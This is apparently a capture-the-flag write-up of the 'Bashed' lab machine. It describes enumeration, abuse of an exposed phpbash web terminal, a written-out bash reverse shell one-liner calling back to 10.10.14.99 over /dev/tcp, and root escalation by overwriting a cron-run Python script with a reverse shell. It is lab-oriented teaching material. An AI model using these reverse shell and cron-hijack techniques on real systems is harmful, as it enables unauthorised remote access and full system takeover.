# Bashed! ## @author:M3tr1c_r00t ![Bashed](https://user-images.githubusercontent.com/99975622/202862039-e78a24cc-0f68-40f4-a49d-75a9ffd2fede.png) ### Enumeration Step 1: nmap and Gobuster ![Screenshot_2022-11-16_20_23_00](https://user-images.githubusercontent.com/99975622/202862058-77be6473-4c70-4736-88de-554dcfb1fb2a.png) Only one port is open. So lets visit it. ![Screenshot_2022-11-16_20_24_37](https://user-images.githubusercontent.com/99975622/202862155-cfc96543-4ebd-459d-96e0-703855abf6ba.png) The site was working on a feature known as phpbash. Which is kind of an emulation of the terminal but in a site format. After interacting for a while I found a way that i could use to get a reverse shell. I created a reverse shell file bash script... ![Screenshot_2022-11-16_20_25_50](https://user-images.githubusercontent.com/99975622/202862582-4286437c-3d8f-4eec-85bb-56c5820099da.png) echo "bash -c'bash -i >& /dev/tcp/10.10.14.99/1234 0>&1'" > reverse.sh ![Screenshot_2022-11-16_20_26_09](https://user-images.githubusercontent.com/99975622/202862671-8251b9ce-40d6-4039-858d-61ebd57f5a23.png) And we got our reverse shell! We can now read the user flag. ### Priv Esc looking around in our the user's file system, we find a folder 'scripts'. In it there are two files. ![Screenshot_2022-11-16_20_27_49](https://user-images.githubusercontent.com/99975622/202862861-494c426e-6b98-4e95-9f46-83c2cb3f9d0a.png) On checking out the two files, it seems like the test.py is being executed in a cron cycle.... ![Screenshot_2022-11-16_20_27_55](https://user-images.githubusercontent.com/99975622/202862962-4ad54918-7bad-480e-b974-407c570252ab.png) We can replace the file with a python reverse shell coz the script is being run by the root user. ![Screenshot_2022-11-16_20_29_36](https://user-images.githubusercontent.com/99975622/202863235-dff171b4-886d-4a31-af62-eb69e51bb403.png) You can find this code from pentestmonkey's cheetsheet. ![Screenshot_2022-11-16_20_30_29](https://user-images.githubusercontent.com/99975622/202863295-c4e83c3a-d45e-4d25-a910-7908d0b0db5a.png) We open a listener and we get a reverse shell as root! Get your root flag and done! ### Socials @instagram:https://instagram.com/Metric_r00t <br> Twitter:https://twitter.com/M3tr1c_root